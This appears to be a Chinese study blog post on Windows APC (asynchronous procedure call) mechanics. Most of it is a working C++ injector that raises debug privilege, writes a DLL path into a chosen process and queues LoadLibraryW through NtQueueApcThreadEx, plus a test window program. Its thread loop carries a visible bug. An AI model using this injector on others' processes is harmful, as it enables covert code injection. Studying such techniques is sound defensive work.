异步过程调用

Windows内核原理与实现一书:

image-20241118124618497

image-20241118124635696

APC(Asynchronous Procedure Call)异步过程调用是一种Windows操作系统的核心机制,它允许在进程上下文中执行用户定义的函数,而无需创建线程或等待OS执行完成。该机制适用于一些频繁的、短暂的或非常细微的操作,例如改变线程优先级或通知线程处理任务。在APC机制中,当某些事件发生时(例如文件IO,网络IO或定时器触发),这些事件将被操作系统添加到一个APC队列中,该队列绑定到执行线程。在下一次发生ALERTABLE的事件时(例如调用SleepEx或SignalObjectAndWait时),OS将弹出APC函数并在执行线程上下文中调用该函数,并在执行完毕后恢复线程执行。

简要来说,一旦进程/线程请求某些操作(比如文件操作),操作系统会将它们加入到对应线程的APC队列,当线程恢复执行时,就会依次执行队列里的函数过程。APC队列分为内核APC队列和用户APC队列,同时两种又分为普通和特殊。对于内核队列,其中的APC会优先于用户队列执行完,等到从R0回到R3,就会执行一个用户普通APC。由于特殊用户APC会直接挂到队列开头,所以特殊APC总会优先执行,且一次性执行全部。

详见:
[原创]Win10 x64 APC的分析与玩法-软件逆向-看雪-安全社区|安全招聘|kanxue.com

APC注入

通过向目标进程加入APC就可以实现让它读取DLL的操作,由于我没有R0权限(没学提权),只能在R3下尝试添加用户APC。

条件

必须处于可唤醒状态,可以使用以下函数达成效果

1
2
3
4
5
SleepEx(xxx,True);
MsgWaitForMultipleObjectsEx(xxx,xxx,xxx,xxx,True);
WaitForSingleObjectEx(xxx,xxx,True);
WaitForMultipleObjectEx(xxx,xxx,xxx,xxx,True);
SignalObjectAndWait(xxx,xxx,xxx,True);

具体流程为:

1
获取目标pid->申请空间->写入DLL路径->获取LoadLibrary地址->用APC挂钩函数挂上LoadLibrary函数,传参DLL路径

直接写代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include<vector>

typedef NTSTATUS(*NtQueueApcThreadEx)
(
HANDLE thread,
ULONG64 flag,
ULONG64 NormalRoutine,
ULONG64 NormalContext,
ULONG64 s1,
ULONG64 s2
);
NTSTATUS(*pNtQueueApcThreadEx)
(
HANDLE thread,
ULONG64 flag,
ULONG64 NormalRoutine,
ULONG64 NormalContext,
ULONG64 s1,
ULONG64 s2
) = NULL;
LPTHREAD_START_ROUTINE pLoadLibrary = NULL;
BOOL EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;

// 打开当前进程的访问令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
std::cerr << "无法打开进程令牌。错误: " << GetLastError() << std::endl;
return FALSE;
}

// 查找调试特权的LUID
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
std::cerr << "无法查找调试特权的LUID。错误: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}

// 设置特权
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// 调整特权
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
std::cerr << "无法调整令牌特权。错误: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}

// 检查调整特权的结果
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
std::cerr << "令牌不具有指定的特权。错误: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}

CloseHandle(hToken);
return TRUE;
}


//获取目标pid->申请空间->写入DLL路径->获取LoadLibrary地址->用APC挂钩函数挂上LoadLibrary函数,传参DLL路径


PVOID getFunction(LPCSTR ModuleName, LPCSTR funcName, HMODULE& hMoule) {
hMoule = GetModuleHandleA(ModuleName);
if (!hMoule) {
std::cerr << "模块打开失败" << std::endl;
exit(1);
}
PVOID pfunc = GetProcAddress(hMoule, funcName);
if (!pfunc) {
std::cerr << "函数查找失败" << std::endl;
exit(2);
}
return pfunc;
}
//

int main(void) {
//防止访问权限不够,使用令牌提高权限
if (!EnableDebugPrivilege()) {
std::cerr << "调整权限失败" << std::endl;
return 1;
}

//获取Ntdll和NtQueueApcThreadEx
HMODULE hNtdll;
pNtQueueApcThreadEx = (NtQueueApcThreadEx)getFunction("Ntdll", "NtQueueApcThreadEx", hNtdll);

//获取kernal32和LoadLibrary
HMODULE hKernel32;
pLoadLibrary = (LPTHREAD_START_ROUTINE)getFunction("kernel32", "LoadLibraryW", hKernel32);

//获取PID
DWORD dwPid = 0;
std::cout << "请输入进程PID:";
std::cin >> dwPid;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);



//申请空间
WCHAR dllpath[] = L"C:\\Users\\a2879\\source\\repos\\valentForAPCinject\\x64\\Debug\\messageboxDLL.dll";
LPVOID lpDLLpath = VirtualAllocEx(hProcess, NULL, sizeof(dllpath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!lpDLLpath) {
std::cerr << "内存分配失败" << std::endl;
return 0;
}
//写入dll路径
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, lpDLLpath, dllpath, sizeof(dllpath) + 1, &bytesWritten)) {
std::cerr << "写入失败" << std::endl;
return 0;
}

//取线程
DWORD dwThreadID;
THREADENTRY32 te32 = {};
te32.dwSize = sizeof(THREADENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);



std::vector<DWORD> Vthread = {};

if (Thread32First(hSnapshot, &te32)) {
do
{
if (te32.th32OwnerProcessID == dwPid) {
Vthread.push_back(te32.th32ThreadID);
}
} while (Thread32Next(hSnapshot, &te32));
}

for (auto it = Vthread.rbegin(); it != Vthread.rend(); it++) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (hThread) {
pNtQueueApcThreadEx(hThread, 1, (ULONG64)pLoadLibrary, (ULONG64)lpDLLpath, NULL, NULL);//特殊用户APC
//QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)lpDLLpath);//普通用户APC
std::cout << "成功执行:" << *it << std::endl;
CloseHandle(hThread);
//break;
}
else {
std::cerr << "无法打开线程\n";
}
}

std::cout << "执行结束" << std::endl;
system("pause");
}

以上代码通过在管理员权限下运行,然后创建一个带窗口的程序进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <windows.h>

LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_CREATE: {
CreateWindow(
L"BUTTON", L"test",
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
10, 10, 100, 30,
hwnd, (HMENU)1, GetModuleHandle(NULL), NULL);
break;
}
case WM_COMMAND: {
if (LOWORD(wParam) == 1) {
SleepEx(1000, TRUE);//调用会进行APC执行的函数,true表明会被APC执行打断,从而产生效果
}
break;
}
case WM_DESTROY: {
PostQuitMessage(0);
break;
}
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
WNDCLASS wc = {};
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = L"testForAPC";
RegisterClass(&wc);

HWND hwnd = CreateWindowEx(
0, L"testForAPC", L"testForAPC",
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 640, 480,
NULL, NULL, hInstance, NULL);
ShowWindow(hwnd, nCmdShow);

MSG msg = {};
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}

好像是概率成功,和APC执行靠概率有联系。同时好像必须用窗口程序,如果是命令行就一定不会触发。经过实测,注入后会直接成功而不需要触发SleepEx或者WaitingForSingleObject之类的函数,怀疑是窗口本身因素的影响


没解决的问题

其它程序注入后没有效果,
不知道为什么要逆序注入才不会崩溃